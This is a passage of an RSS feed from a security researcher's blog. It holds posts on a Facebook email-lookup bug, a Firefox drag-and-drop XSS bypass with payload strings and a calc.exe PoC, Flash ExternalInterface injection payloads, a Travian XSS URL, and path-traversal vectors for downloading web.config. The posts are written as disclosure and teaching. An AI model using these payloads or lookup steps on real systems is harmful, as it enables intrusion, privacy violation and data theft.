I am writing about it here to say you do not always need to know how to code or have ninja skills to find the bugs like this; I want to encourage everyone to participate in security bug bounty programs to help the companies to be more secure and earn money at the same time!</p>
<p style="text-align: justify;">After all, here are the details (this bug has already been patched by Facebook):<br />
Title of reported issue: “<strong><em>How to find unsearchable people by their emails in Facebook</em></strong>”<br />
In order to search someone -even if they made themselves unsearchable with hidden emails- by their email addresses, it was possible to do the following steps:<br />
1- Login into your Facebook account (you need to have an activated account with a verified email).<br />
2- Open the following page: <a href="https://www.facebook.com/ads/manage/settings.php" target="_blank">https://www.facebook.com/ads/manage/settings.php<br />
</a>3- Now under the “Permissions” section, click on “Add a User”.<br />
4- Enter the email address that you are looking for in the box and click on “Add” and wait to see the response (it is better to choose “Reports Only” instead of “General User”). If you have not received “Invalid User” error, it means you were successful.<br />
5- Now after refreshing the page, you should be able to see the requested user under the “Permissions” area.<br />
6- If you click on the user’s name, you should be able to see his/her public profile.<br />
By using this method, you could be able to find First Name, Last Name, and Facebook User ID of the user just by having his/her email address.</p>
<p style="text-align: justify;"><strong>Recommendation to the users:</strong><br />
- It is always better to use a private email address in social networking websites if you really want to be unsearchable.</p>
<p style="text-align: justify;"><strong>Recommendation to the Developers in similar situation:</strong><br />
- If there is any policy in the application, it should apply to all different parts of it. I suggest using the shared secure libraries that meet the requirements is one of the best options.</p>
]]></content:encoded>
			<wfw:commentRss>http://soroush.secproject.com/blog/2012/04/sometimes-no-ninja-skill-is-required-to-receive-money-from-security-bug-bounty-programs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Drag and Drop XSS in Firefox by HTML5 (Cross Domain in frames)</title>
		<link>http://soroush.secproject.com/blog/2011/12/drag-and-drop-xss-in-firefox-by-html5-cross-domain-in-frames/</link>
		<comments>http://soroush.secproject.com/blog/2011/12/drag-and-drop-xss-in-firefox-by-html5-cross-domain-in-frames/#comments</comments>
		<pubDate>Sat, 31 Dec 2011 03:23:24 +0000</pubDate>
		<dc:creator>Soroush Dalili</dc:creator>
				<category><![CDATA[My Advisories]]></category>
		<category><![CDATA[Security Articles]]></category>
		<category><![CDATA[drag and drop XSS]]></category>
		<category><![CDATA[Drag Drop HTML5 XSS]]></category>
		<category><![CDATA[Firefox Javascript Protocol Bypass]]></category>
		<category><![CDATA[XSS by Feed Protocol]]></category>

		<guid isPermaLink="false">http://soroush.secproject.com/blog/?p=446</guid>
		<description><![CDATA[Bug has been reported/NoScript users are safe First of all, this vulnerability and the related techniques have already been reported to Mozilla on 21st Nov 2011, without having any specific result till the date of this report (issue ID 704354 – works on all the latest versions which support HTML5). I had raised this bug [...]]]></description>
				<content:encoded><![CDATA[<h4 style="text-align: justify;">Bug has been reported/NoScript users are safe</h4>
<p style="text-align: justify;">First of all, this vulnerability and the related techniques have already been reported to Mozilla on 21st Nov 2011, without having any specific result till the date of this report (issue ID 704354 – works on all the latest versions which support HTML5). I had raised this bug as a major issue, but it seems it was not important from Mozilla Firefox point of view and its risk is not high at all.</p>
<p style="text-align: justify;">However, <strong>NoScript can protect the users against it from version 2.2.3</strong> [released about three weeks ago] (<a href="http://noscript.net/changelog">http://noscript.net/changelog</a>) &#8211; thanks to Giorgio Maone for the fast response and quick fix.</p>
<p style="text-align: justify;">As there is already a solution for this issue and its impact is not high, I am going to publish my research results as they belong to 2011!</p>
<h4 style="text-align: justify;">Introduction</h4>
<p style="text-align: justify;">As you may have noticed, most of the modern browsers are recently protecting their users from running unwanted JavaScript by copying and pasting it in the address bar or even by dragging and dropping it into a web page. In this research, I have found a technique to bypass Drag/Drop protection in Mozilla Firefox to run a JavaScript. As a final result, it is possible to drag and drop a hidden JavaScript into a predefined HTML5 box and run the Javascript code. Unfortunately, if you put this page in an IFrame, the Javascript code can be run on the context of the main site that includes the IFrame. For instance, When Facebook opens any URL in a frame, it is possible to run a JavaScript code on Facebook website by drag and drop jacking.</p>
<h4 style="text-align: justify;">The current protection</h4>
<p style="text-align: justify;">In order to understand the Mozilla Firefox protection against JavaScript Drag and Drop, follow these steps:</p>
<p style="text-align: justify;">1- Go to Mozilla Firefox address bar and type &#8220;javascript:alert(1)&#8221; without pressing Enter.</p>
<p style="text-align: justify;">2- Select all the string that you have just typed (&#8220;javascript:alert(1)&#8221; without quote signs).</p>
<p style="text-align: justify;">3- Drag and drop it on a new tab or on the context of the same tab that you currently have. You will not receive any alert message.</p>
<h4 style="text-align: justify;">First bypass method- Letter Capitalization</h4>
<p style="text-align: justify;">Now, in previous steps, capitalize one or more letters in the &#8220;javascript:&#8221; string (for instance &#8220;jAvAscript:&#8221;) and drag/drop it into the page. You should be able to see an alert message as you have bypassed the Mozilla Firefox protection!</p>
<h4 style="text-align: justify;">Second bypass method- XSS by Feed Protocol</h4>
<p style="text-align: justify;">I have also found another interesting protocol in Mozilla Firefox that can lead to running a JavaScript. This protocol can be used as follows to bypass the Mozilla Firefox prevention method:</p>
<p style="text-align: justify;">&#8220;feed:javascript:alert(1)&#8221;</p>
<p style="text-align: justify;">&#8220;feed:feed:feed:javascript:alert(1)&#8221;</p>
<p style="text-align: justify;">&#8220;feed:javascript:javascript:feed:alert(1)&#8221;</p>
<p style="text-align: justify;">&#8220;feed:feed:javascript:javascript:feed:alert(1)&#8221;</p>
<p style="text-align: justify;">&#8221; feed:feed:feed:javascript:alert(1)&#8221;</p>
<h4 style="text-align: justify;">A possible exploitation method – HTML5 drag/drop functionality</h4>
<p style="text-align: justify;">In this step, I had to find a way to use the issue and exploit the system to prove that it can be an important security risk; however, there are two facts that made it a bit difficult:</p>
<p style="text-align: justify;">1- There is no point if we cannot run the JS code on the context of another site.</p>
<p style="text-align: justify;">2- We need the user interaction to d/d a JS code. And it is not easy to deceive the users to d/d a JavaScript code when it is visible.</p>
<p style="text-align: justify;">The first problem has been solved by using HTML5 D/D functionality that I have found from the following URL: &#8220;<a href="http://html5demos.com/drag">http://html5demos.com/drag</a>&#8220;; I found out, if I drag and drop the &#8220;feed:javascript:alert(1)&#8221; to the drop location, the JavaScript will run due to the redirection. And interestingly, if this drop location is inside an IFrame, the main page will be redirected and therefore we can conduct an XSS attack on the context of the main website.</p>
<p style="text-align: justify;">The second problem was also solved by using a hidden &#8220;textarea&#8221; tag that I found during my tests! In Mozilla Firefox, if you select a text with a hidden textarea, all the texts in that hidden textarea will be selected as well.</p>
<p style="text-align: justify;">I have created a proof of concept which can be found in the following link:</p>
<p style="text-align: justify;"><strong>PoC:</strong> <a href="http://soroush.secproject.com/downloadable/demo/FF_DragDrop_XSSHost_simp.html">http://soroush.secproject.com/downloadable/demo/FF_DragDrop_XSSHost_simp.html</a></p>
<h4 style="text-align: justify;">Conclusion</h4>
<p style="text-align: justify;">In this research, I was able to bypass Mozilla Firefox &#8211; Javascript Drag and Drop by using capitalization and Feed protocol. Then I was able to exploit this issue to run a JavaScript code in the context of another website which can accept an external frame by using the HTML5 drag and drop functionality.</p>
<h4 style="text-align: justify;">Future Works</h4>
<p style="text-align: justify;">It is still possible to bypass Mozilla Firefox prevention method by finding another protocol or maybe by using the encoding techniques.</p>
<p style="text-align: justify;">If someone drags and drops a JavaScript into a page with &#8220;chrome://&#8221; protocol, it can lead to a local code execution; however, this protocol is highly protected by Mozilla Firefox and I was not able to find a way to make it possible. As a PoC, drag and drop the following Javascript code into the &#8220;chrome://global/content/config.js&#8221; page to run the local Windows Calculator:</p>
<p style="text-align: justify;"><em>&#8220;feed:jAvAscript:file=Components.classes['@mozilla.org/file/local;1'].createInstance(Components.interfaces.nsILocalFile);file.initWithPath(&#8216;c:\\windows\\system32\\calc.exe&#8217;);process=Components.classes['@mozilla.org/process/util;1'].createInstance(Components.interfaces.nsIProcess);process.init(file);process.run(true,[],0);void(0);&#8221;</em></p>
]]></content:encoded>
			<wfw:commentRss>http://soroush.secproject.com/blog/2011/12/drag-and-drop-xss-in-firefox-by-html5-cross-domain-in-frames/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>&#8220;Advisories&#8221; has been updated</title>
		<link>http://soroush.secproject.com/blog/2011/05/advisories-has-been-updated/</link>
		<comments>http://soroush.secproject.com/blog/2011/05/advisories-has-been-updated/#comments</comments>
		<pubDate>Tue, 17 May 2011 20:42:48 +0000</pubDate>
		<dc:creator>Soroush Dalili</dc:creator>
				<category><![CDATA[Normal Posts]]></category>

		<guid isPermaLink="false">http://soroush.secproject.com/blog/?p=443</guid>
		<description><![CDATA[I am quite busy these days and I cannot finish my articles or even write about the vulnerabilities in details. Moreover, I need to update my “Excel Advanced Search” Add-In to be compatible with Office 2010, and also I need to put my “Secure Text Steganography Techniques by using Markov Chain” in this blog in [...]]]></description>
				<content:encoded><![CDATA[<p>I am quite busy these days and I cannot finish my articles or even write about the vulnerabilities in details. Moreover, I need to update my “<a href="http://soroush.secproject.com/blog/projects/exceladvancedsearchapplication/">Excel Advanced Search</a>” Add-In to be compatible with Office 2010, and also I need to put my “<strong>Secure Text Steganography Techniques by using Markov Chain</strong>” in this blog in near future [this project is actually from summer 2008].</p>
<p>However, I have updated the “<a href="http://soroush.secproject.com/blog/my-advisories/">Advisories</a>” section with my new reported issues in <strong>Some Mozilla Products</strong>, <strong>IIS</strong>, and <strong>Adobe Reader/Acrobat</strong>.</p>
<p>I hope I can find more free time soon :-)</p>
]]></content:encoded>
			<wfw:commentRss>http://soroush.secproject.com/blog/2011/05/advisories-has-been-updated/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Flash ExternalInterface.call() JavaScript Injection – can make the websites vulnerable to XSS</title>
		<link>http://soroush.secproject.com/blog/2011/03/flash-externalinterface-call-javascript-injection-%e2%80%93-can-make-the-websites-vulnerable-to-xss/</link>
		<comments>http://soroush.secproject.com/blog/2011/03/flash-externalinterface-call-javascript-injection-%e2%80%93-can-make-the-websites-vulnerable-to-xss/#comments</comments>
		<pubDate>Tue, 08 Mar 2011 22:11:10 +0000</pubDate>
		<dc:creator>Soroush Dalili</dc:creator>
				<category><![CDATA[Security Posts]]></category>
		<category><![CDATA[ExternalInterface]]></category>
		<category><![CDATA[ExternalInterface.call]]></category>
		<category><![CDATA[flash]]></category>
		<category><![CDATA[flash xss]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://soroush.secproject.com/blog/?p=437</guid>
		<description><![CDATA[Introduction: This post is a result of reading the following useful report: The other reason to beware ExternalInterface.call() (http://lcamtuf.blogspot.com/2011/03/other-reason-to-beware-of.html) The issue that I want to discuss here is not something different; however, I want to add something to the current materials. Description: According to the Adobe website, ExternalInterface.call() can accept a JavaScript function name as [...]]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;"><strong>Introduction:</strong></p>
<p style="text-align: justify;">This post is a result of reading the following useful report:</p>
<p style="text-align: justify;"><a href="http://lcamtuf.blogspot.com/2011/03/other-reason-to-beware-of.html">The other reason to beware ExternalInterface.call()</a> (<a href="http://lcamtuf.blogspot.com/2011/03/other-reason-to-beware-of.html">http://lcamtuf.blogspot.com/2011/03/other-reason-to-beware-of.html</a>)</p>
<p style="text-align: justify;">The issue that I want to discuss here is not something different; however, I want to add something to the current materials.</p>
<p style="text-align: justify;"><strong>Description:</strong></p>
<p style="text-align: justify;">According to the <a href="http://livedocs.adobe.com/flash/9.0/ActionScriptLangRefV3/flash/external/ExternalInterface.html#call()">Adobe website</a>, ExternalInterface.call() can accept a JavaScript function name as the first argument and a string which would be sent to that JavaScript function. Adobe says “When the call is to a JavaScript function, the ActionScript types are automatically converted into JavaScript types; when the call is to some other ActiveX container, the parameters are encoded in the request message.”. Therefore, in our case, the string would be converted into JavaScript type.</p>
<p style="text-align: justify;">All we are trying to say is that it is possible to inject a specific parameter to an input and change the way of running the JavaScript. I should say it is very similar to the current <a href="http://en.wikipedia.org/wiki/Code_injection">code Injection</a> methods in which we actively change the queries/requests to run whatever we want!</p>
<p style="text-align: justify;"><strong>Proof of Concepts:</strong></p>
<p style="text-align: justify;">I want to explain it by using the example that Adobe has put in its <a href="http://livedocs.adobe.com/flash/9.0/ActionScriptLangRefV3/flash/external/ExternalInterface.html#includeExamplesSummary">document</a>. I have put all the files in the following URL: <a href="http://0me.me/demo/adobeflash/ExternalInterface.call/">http://0me.me/demo/adobeflash/ExternalInterface.call/</a> . Please use Mozilla Firefox if you want to see the same error messages as this PoC.</p>
<p style="text-align: justify;">Now follow these steps:</p>
<p style="text-align: justify;">1- Open this link: <a href="http://0me.me/demo/adobeflash/ExternalInterface.call/demo.html">http://0me.me/demo/adobeflash/ExternalInterface.call/demo.html</a></p>
<p style="text-align: justify;">2- Enter “\&#8221;” in the flash box (dark box) and press the gray button in front of it:</p>
<p><img src="http://soroush.secproject.com/downloadable/images/flashExternalInterface.call/image001.jpg" border="1" alt="" /></p>
<p style="text-align: justify;">3- Now, you should be able to see this error in Error Console:</p>
<p><img src="http://soroush.secproject.com/downloadable/images/flashExternalInterface.call/image002.jpg" border="1" alt="" /></p>
<p style="text-align: justify;">As you can see, we could escape the slash character “\” which was for escaping the double quotation character. Therefore, we are able to inject our JavaScript here now.</p>
<p style="text-align: justify;">4- Now, try to enter “\&#8221;));alert(/XSS/)}catch(e){}//” in that box and press the gray button. You should be able to see the alert message:</p>
<p><img src="http://soroush.secproject.com/downloadable/images/flashExternalInterface.call/image003.jpg" border="1" alt="" /></p>
<p style="text-align: justify;">It is because of the fact that we could complete the main functions and comment the remaining bits which is the method of code injection.</p>
<p style="text-align: justify;">Now, you may think that we need to have a valid JavaScript function in the page or you may even think we always need to have a HTML file. I will explain this in the next section and I will prove that you can execute a JavaScript code even by running the SWF file directly without using any HTML file or JavaScript function.</p>
<p style="text-align: justify;"><strong>Run the flash file directly now:</strong></p>
<p style="text-align: justify;">Now I want to add this bit that we do not need to have a real JavaScript function or a HTML page to execute a JavaScript code under the website content. In this case we only need to put the JavaScript code inside the “catch” section. This is the PoC:</p>
<p style="text-align: justify;">1- Open this URL: <a href="http://0me.me/demo/adobeflash/ExternalInterface.call/ExternalInterfaceExample.swf">http://0me.me/demo/adobeflash/ExternalInterface.call/ExternalInterfaceExample.swf</a></p>
<p style="text-align: justify;">2- Now, enter the following text in the box and press the button:</p>
<p style="text-align: justify;">“\&#8221;));alert(/XSSThis/);}catch(e){alert(/XSSOr/)}//”</p>
<p style="text-align: justify;">3- You should be able to see this message now:</p>
<p><img src="http://soroush.secproject.com/downloadable/images/flashExternalInterface.call/image004.jpg" border="1" alt="" /></p>
<p style="text-align: justify;">As a result, we can do a XSS attack just by opening a vulnerable or malicious/uploaded SWF file.</p>
<p style="text-align: justify;">Note: you may have problem with closing the alert window in some browsers.</p>
<p style="text-align: justify;"><strong>Why can this be a risk?</strong></p>
<p style="text-align: justify;">The websites which are using ExternalInterface.call() with the user’s provided input -without having input validation- can be in risk of having XSS vulnerability. Besides, an attacker can upload a malicious SWF file when a website lets him/her do so in order to make the website vulnerable to XSS attack – in this case I should say, an attacker might be able to do more than a XSS by uploading a SWF file.</p>
<p style="text-align: justify;"><strong>Solution(s):</strong></p>
<p style="text-align: justify;">If we think about this code injection, it is really another input validation issue. It again says that the developers must not trust the provided inputs and we certainly need to have <a href="http://www.owasp.org/index.php/Data_Validation">input validation</a> when we receive the user’s input.</p>
<p style="text-align: justify;">Note: Regarding the <a href="http://lcamtuf.blogspot.com/2011/03/other-reason-to-beware-of.html">main reference</a> of this text, Adobe has not accepted this as an issue to fix it fundamentally yet.</p>
<p style="text-align: justify;"><strong>References:</strong></p>
<p>- The other reason to beware ExternalInterface.call() <a href="http://lcamtuf.blogspot.com/2011/03/other-reason-to-beware-of.html">http://lcamtuf.blogspot.com/2011/03/other-reason-to-beware-of.html</a></p>
<p>- Agora 3.0.0 RC1 Rev.4 XSS Vulnerability <a href="http://jeffchannell.com/Joomla/agora-300-rc1-rev4-xss-vulnerability.html">http://jeffchannell.com/Joomla/agora-300-rc1-rev4-xss-vulnerability.html</a></p>
<p>- Finding Vulnerabilities in Flash Applications <a href="http://www.owasp.org/images/d/d8/OWASP-WASCAppSec2007SanJose_FindingVulnsinFlashApps.ppt">http://www.owasp.org/images/d/d8/OWASP-WASCAppSec2007SanJose_FindingVulnsinFlashApps.ppt</a></p>
<p>- Cross-Site Scripting through Flash in Gmail Based Services <a href="http://blog.watchfire.com/wfblog/2010/03/cross-site-scripting-through-flash-in-gmail-based-services.html">http://blog.watchfire.com/wfblog/2010/03/cross-site-scripting-through-flash-in-gmail-based-services.html</a></p>
<p>- ActionScript 3.0 Language and Components Reference <a href="http://livedocs.adobe.com/flash/9.0/ActionScriptLangRefV3/flash/external/ExternalInterface.html">http://livedocs.adobe.com/flash/9.0/ActionScriptLangRefV3/flash/external/ExternalInterface.html</a></p>
<p>- Code Injection <a href="http://en.wikipedia.org/wiki/Code_injection">http://en.wikipedia.org/wiki/Code_injection</a></p>
]]></content:encoded>
			<wfw:commentRss>http://soroush.secproject.com/blog/2011/03/flash-externalinterface-call-javascript-injection-%e2%80%93-can-make-the-websites-vulnerable-to-xss/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Travian Game Patch – Finally!</title>
		<link>http://soroush.secproject.com/blog/2011/01/travian-game-patch-%e2%80%93-finally/</link>
		<comments>http://soroush.secproject.com/blog/2011/01/travian-game-patch-%e2%80%93-finally/#comments</comments>
		<pubDate>Mon, 31 Jan 2011 19:46:21 +0000</pubDate>
		<dc:creator>Soroush Dalili</dc:creator>
				<category><![CDATA[Security Posts]]></category>
		<category><![CDATA[logical flaw]]></category>
		<category><![CDATA[Travian Cross Site Scripting]]></category>
		<category><![CDATA[travian game]]></category>
		<category><![CDATA[travian hack]]></category>
		<category><![CDATA[travian online game]]></category>
		<category><![CDATA[Travian Patch]]></category>
		<category><![CDATA[Travian Security]]></category>
		<category><![CDATA[Travian XSS]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://soroush.secproject.com/blog/?p=432</guid>
		<description><![CDATA[Here are the details of recent security patch of Travian game: http://forum.travian.com/showthread.php?p=1728991 There was a Cross Site Scripting (XSS) vulnerability in hero’s mansion rename section. This issue was because of using “id” and “gid” input parameters at the same time. “gid” was used for loading the hero’s mansion, and “id” was used to insert a [...]]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">Here are the details of recent security patch of Travian game: <a href="http://forum.travian.com/showthread.php?p=1728991">http://forum.travian.com/showthread.php?p=1728991</a></p>
<p style="text-align: justify;">There was a Cross Site Scripting (XSS) vulnerability in hero’s mansion rename section. This issue was because of using “id” and “gid” input parameters at the same time. “gid” was used for loading the hero’s mansion, and “id” was used to insert a Javascript code. You can only see one of them as an input for a single file at the same time. However, I used them together and found this vulnerability:</p>
<p style="text-align: justify;">http://sN.travian.EXT/build.php?gid=37&amp;id=&lt;script here&gt;&amp;rename</p>
<p style="text-align: justify;">As there was a “httponly” flag for the cookies, it was not possible to hijack the sessions. However, we could still use it to do several things. The simplest one was to hijack the saved username/password from the browser. I should say that there was another issue with the login page last year based on which someone could create the Travian cookie and log into the system by the victims session.</p>
<p style="text-align: justify;">There was also another issue with validation of unique email addresses by which a user could create several accounts with the same email address. It was sufficient to enter a “comma” in front of the email address to have a new valid email address. For example someone could register several times without having any problem in receiving the confirmation code by using “test@secproject.com”, “,test@secproject.com” , “,,test@secproject.com”, and so on.</p>
<p style="text-align: justify;">Fortunately these issues have been patched after more than a year. This delay was only because of not having a direct reference to contact as no one/source was publicly responsible for the security issues.</p>
<p style="text-align: justify;">These issues go back to June 2009. Related Link: <a href="http://soroush.secproject.com/blog/2009/11/travian-game-vulnerabilities-in-progress/">http://soroush.secproject.com/blog/2009/11/travian-game-vulnerabilities-in-progress/</a></p>
<p style="text-align: justify;"><strong><span style="color: #008000;"><span style="color: #ff0000;">Note:</span> I highly suggest the providers to put at least one email address in their contact page for normal bugs and security issues. They should also have a process to fix a security issue and give its credit to the finder(s) somehow (by putting the finder’s name in the website news, release notes, …) if they do not want to pay for their vulnerabilities! It is a pain when the security researchers can only see sale and marketing email addresses in many of the providers’ contact pages; and that’s why too many of these security issues are being published before having any patch every day.</span></strong></p>
]]></content:encoded>
			<wfw:commentRss>http://soroush.secproject.com/blog/2011/01/travian-game-patch-%e2%80%93-finally/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Unrestricted File Download V1.0 – Windows Server</title>
		<link>http://soroush.secproject.com/blog/2011/01/unrestricted_file_download_v1_0/</link>
		<comments>http://soroush.secproject.com/blog/2011/01/unrestricted_file_download_v1_0/#comments</comments>
		<pubDate>Sun, 23 Jan 2011 16:42:48 +0000</pubDate>
		<dc:creator>Soroush Dalili</dc:creator>
				<category><![CDATA[Security Articles]]></category>
		<category><![CDATA[Unrestricted File Download]]></category>
		<category><![CDATA[Unrestricted File Upload]]></category>

		<guid isPermaLink="false">http://soroush.secproject.com/blog/?p=421</guid>
		<description><![CDATA[Downlaod the PDF file: http://soroush.secproject.com/downloadable/Unrestricted_File_Download_V1.0.pdf Unrestricted File Download V1.0 – Windows Server I do not want to talk about Insecure Direct Object References without any protection as they are obviously exploitable; Instead, I want to talk about bypassing the protected ones! The problem that I want to explain here is how hard it is to [...]]]></description>
				<content:encoded><![CDATA[<p>Downlaod the PDF file: <a href="http://soroush.secproject.com/downloadable/Unrestricted_File_Download_V1.0.pdf">http://soroush.secproject.com/downloadable/Unrestricted_File_Download_V1.0.pdf</a></p>
<h2>Unrestricted File Download V1.0 – Windows Server</h2>
<p>I do not want to talk about Insecure Direct Object References without any protection as they are obviously exploitable; Instead, I want to talk about bypassing the protected ones! The problem that I want to explain here is how hard it is to protect a system that uses Insecure Direct Object References by using black-list technique.</p>
<p>Whenever penetration testers see a website which accepts a path as an input, they think about these questions:</p>
<p>1- Can I have access to the secret files?</p>
<p>2- Can I do directory traversal?</p>
<p>3- Can I modify another file?</p>
<p>4- Can I do race condition?</p>
<p>And so on.</p>
<p>The answer from programming point of view is: “it depends!”:</p>
<p>1- If they have no protection in-place: “Yes. Yay!”</p>
<p>2- If they are using black-list method: “Think about a bypass now! There should be a way and I just need to find it! Think about encodings, decoding, effective characters, behaviour of the system against special characters, and so on.”</p>
<p>3- If they are using white-list method: “Is there anything on the list that can be misused? Can I stick some of them together to make another character or change the behaviour of the system?”</p>
<p>My point is that there is often a way to bypass a black-list. However, it is not the same for white-list if you do it correctly.</p>
<h2>Let’s Bypass a Blacklist Method</h2>
<p>Now, I want to use a case to show an example of using black-list, and methods of bypass.</p>
<p>Assume we have “www.vulnerable.com/download.aspx” which accepts a file path as an input and reads it and loads it into the output. (To make it easier, “/upload” folder is on the root of the website)</p>
<p>For example: “/download.aspx?file=/upload/document.doc”</p>
<p>Now, if you try the following inputs, you will receive an “access denied” error from the page:</p>
<p>“/download.aspx?file=web.config”</p>
<p>“/download.aspx?file=download.aspx”</p>
<p>“/download.aspx?file=/download.aspx”</p>
<p>But, if you try the following inputs, you will receive a “file not found” error or a blank-page from the page:</p>
<p>“/download.aspx?file=test.doc”</p>
<p>“/download.aspx?file=/upload/../test.txt”</p>
<p>“/download.aspx?file=/test.f0ob4r”</p>
<p>According to the response of the page, obviously, it is using a black-list method.</p>
<p>These are the first things that I can think about (my pre-test-cases):</p>
<p>0- Use uppercase, lowercase, and Unicode in the extension. For ex: “/download.aspx?file=/wEB.CoNfiG” and so on.</p>
<p>1- As you might know, there are some characters after the filename that will be ignored by Windows.  So, I should try something like “/download.aspx?file=/web.config.” or “/download.aspx?file=/web.config&#8230; ..”</p>
<p>2- Using short filename format of the file: “/download.aspx?file=/web~1.con”</p>
<p>3- Using null character: “/download.aspx?file=/web.config%00.txt”</p>
<p>4- Using another extension in the path: “/download.aspx?file=/test.txt/../web.config”</p>
<p>5- Using different space characters in the path: “/download.aspx?file=/web.config%09”, “/download.aspx?file=/web.config%0a”, “/download.aspx?file=/web.config%0b”, “/download.aspx?file=/web.config%0c”, “/download.aspx?file=/web.config%0d”, “/download.aspx?file=/web.config%20”, and so on (similar to 1).</p>
<p>6- Finding a character that is removed by the web application automatically before loading a file to put it in the extension and bypass the black-list protection.</p>
<p> 7- Try alternate data stream to read the files: “/download.aspx?file=/web.config::$Data”</p>
<p>8- Try to use direct path and share path. Ex: “/download.aspx?file=c:\\windows\\win.ini”, “/download.aspx?file=\\?\c:\\windows\\win.ini”, or “/download.aspx?file=\\127.0.0.1\c$\WINDOWS\\win.ini”</p>
<p>9- Try to do directory traversal. Ex: “/download.aspx?file=../../../../../../../../../../../boot.ini”</p>
<p>10- Try other file-system understandable vectors. Ex: “/download.aspx?file=web.config/.”, “/download.aspx?file=web.config\.”, and so on (similar to 1).</p>
<p>And combination of the above solutions to create more complicated test cases!</p>
<p>What do you think? Please let me know if you know any other interesting test case. This is the result:</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="60" valign="top">0</td>
<td width="543" valign="top">Successful: Web.config was downloaded</td>
</tr>
<tr>
<td width="60" valign="top">1,2</td>
<td width="543" valign="top">Failed: Show the source code in error message. Error: “Failed to map the path”</td>
</tr>
<tr>
<td width="60" valign="top">3,7,8</td>
<td width="543" valign="top">Failed: Show the source code in error message. Error: “is not a valid virtual path”</td>
</tr>
<tr>
<td width="60" valign="top">4</td>
<td width="543" valign="top">Failed: Access Denied</td>
</tr>
<tr>
<td width="60" valign="top">5</td>
<td width="543" valign="top">Successful: Web.config was downloaded</td>
</tr>
<tr>
<td width="60" valign="top">6</td>
<td width="543" valign="top">Failed: No character was found</td>
</tr>
<tr>
<td width="60" valign="top">9</td>
<td width="543" valign="top">Failed: Show the source code in error message. Error: “Cannot use a leading .. to exit above the top directory”</td>
</tr>
<tr>
<td width="60" valign="top">10</td>
<td width="543" valign="top">Successful: Web.config was downloaded. Some new vectors were found: “?file=\.”, “?file=/.”, “?file=/\./\.”</td>
</tr>
</tbody>
</table>
<p>Each of the above vectors could lead to bypassing the protection. Now, I can tell you that the actual vulnerable source code of the page was:</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="603" valign="top">10    string fileName = Request.Params["File"];20    if (ForbidenExtentions.Contains(fileName.Substring(fileName.LastIndexOf(&#8220;.&#8221;))))</p>
<p>30    {</p>
<p>40        HttpContext.Current.Response.Redirect(&#8220;~/CustomError.aspx?msg=ForbidenFileDownload&#8221;);</p>
<p>50    }</p>
<p>60    if((fileName != null) &amp;&amp; (fileName != &#8220;&#8221;))</p>
<p>70    {</p>
<p>80        string strPath = Server.MapPath(&#8220;/&#8221; + fileName);</p>
<p>90        if(System.IO.File.Exists(strPath))</p>
<p>100     { …</td>
</tr>
</tbody>
</table>
<p>And, we can download the confidential files with different vectors (see number 0, 5, and 10 on the table above). Now, an attacker can download the entire website and look for the credentials, hidden files and folders, and find any other vulnerability such as SQL Injection by having the source code.</p>
<h2>Secure and Effective Solution</h2>
<p>Now, what can we do to stop this attack? These are the general solutions:</p>
<p>1- Do not use direct object references when it is possible:</p>
<p>For indirect references, use something random, hard to guess, and meaningless such as GUIDs. You need to implement more functions and invest more time on programming and debugging. However, your achievements are:</p>
<p>1.1- Increasing the Security by using strong random pointers such as GUIDs</p>
<p>1.2- Easier asset managing and have different access controls</p>
<p>2- Force yourself to always use white-lists:</p>
<p>It is very rare that you have to only use a black-list for an input! If an input is random and unpredictable, you may need to redesign that input. Write down the input purpose(s) and do whatever you can to restrict it to a range of characters. Now, think about this range and review the characters one by one. Is there anything in the list which can cause an issue? Do you need to allow any other characters besides [a-zA-Z0-9]? Why? Think about it and follow the best security practices.</p>
<p>Sometimes you need to use blacklist after passing the input from a white-list to have more security. For example: an input can contain a file path. Therefore, we should allow dot “.” character. However, we should not allow any double dot “..” as it can cause directory traversal.</p>
<p>If you are designing a system, look for the vulnerabilities which have been reported on the similar systems in Internet. You may find something that you had not had any knowledge about it before! Do not think that you know everything! Even a semi-colon or colon can compromise your system sometimes.</p>
<p>Talk about your system with the security people; with experts (not script kiddies). You can ask your questions in different security forums to find a clue. Ask them to break your protection to improve the security.</p>
<p><strong>Note 1</strong>: a bad implementation is worse than not having any implementation! When you don’t have any protection, at least you know you do not have anything to protect yourself and the system is unsafe!!! However, when you have an insecure/bad implementation, you think the system is safe enough but it is not, and attackers will find this out – trust me!</p>
<p><strong>Note 2</strong>: If you are putting different inputs next to each other, it is better to pass them at least through a black-list protection after concatenation.</p>
<p>Now, without using an indirect reference, two solutions for our vulnerable example (“www.vulnerable.com/download.aspx”) can be:</p>
<h2>Solution 1 (More White-list – more restricted):</h2>
<p>1- Replace all the “/” with “\” character in order to make the validation easier (for Windows OS).  (Black-List)</p>
<p>2- Replace all the dot characters before the backslash character (“.\”) with a single “\” character in order to make the validation easier. (Black-List)</p>
<p>3- Only accept limited characters as an input: RegEx: (([a-zA-Z0-9][\.]{1})|[a-zA-Z0-9\\])*</p>
<p>4- File name should start with: RegEx: ^[a-zA-Z0-9\\] (White-list)</p>
<p>5- File name should end with: RegEx: [a-zA-Z0-9]$ (White-list)</p>
<p>Then a general ReGex will be (include 3, 4, and 5):  ^([a-zA-Z0-9\\]{1})(([a-zA-Z0-9][\.]{1})|[a-zA-Z0-9\\])*([a-zA-Z0-9])$ (White-list)</p>
<p>6- Find the file extension by using the last dot “.” character of the file. This extension should be in the list of allowed extensions such as “gif”, “jpg”, “doc”, “docx”, “pdf”, “rtf”, and so on. (White-List)</p>
<p><strong>Limitation:</strong> It is not possible to use Unicode or special characters in the file or the directory name.</p>
<h2>Solution 2 (More Black-List – less restricted):</h2>
<p>1- Trim the input to remove unnecessary spaces (Black-List)</p>
<p>2- Replace all the “/” with “\” character in order to make the validation easier (for Windows OS).  (Black-List)</p>
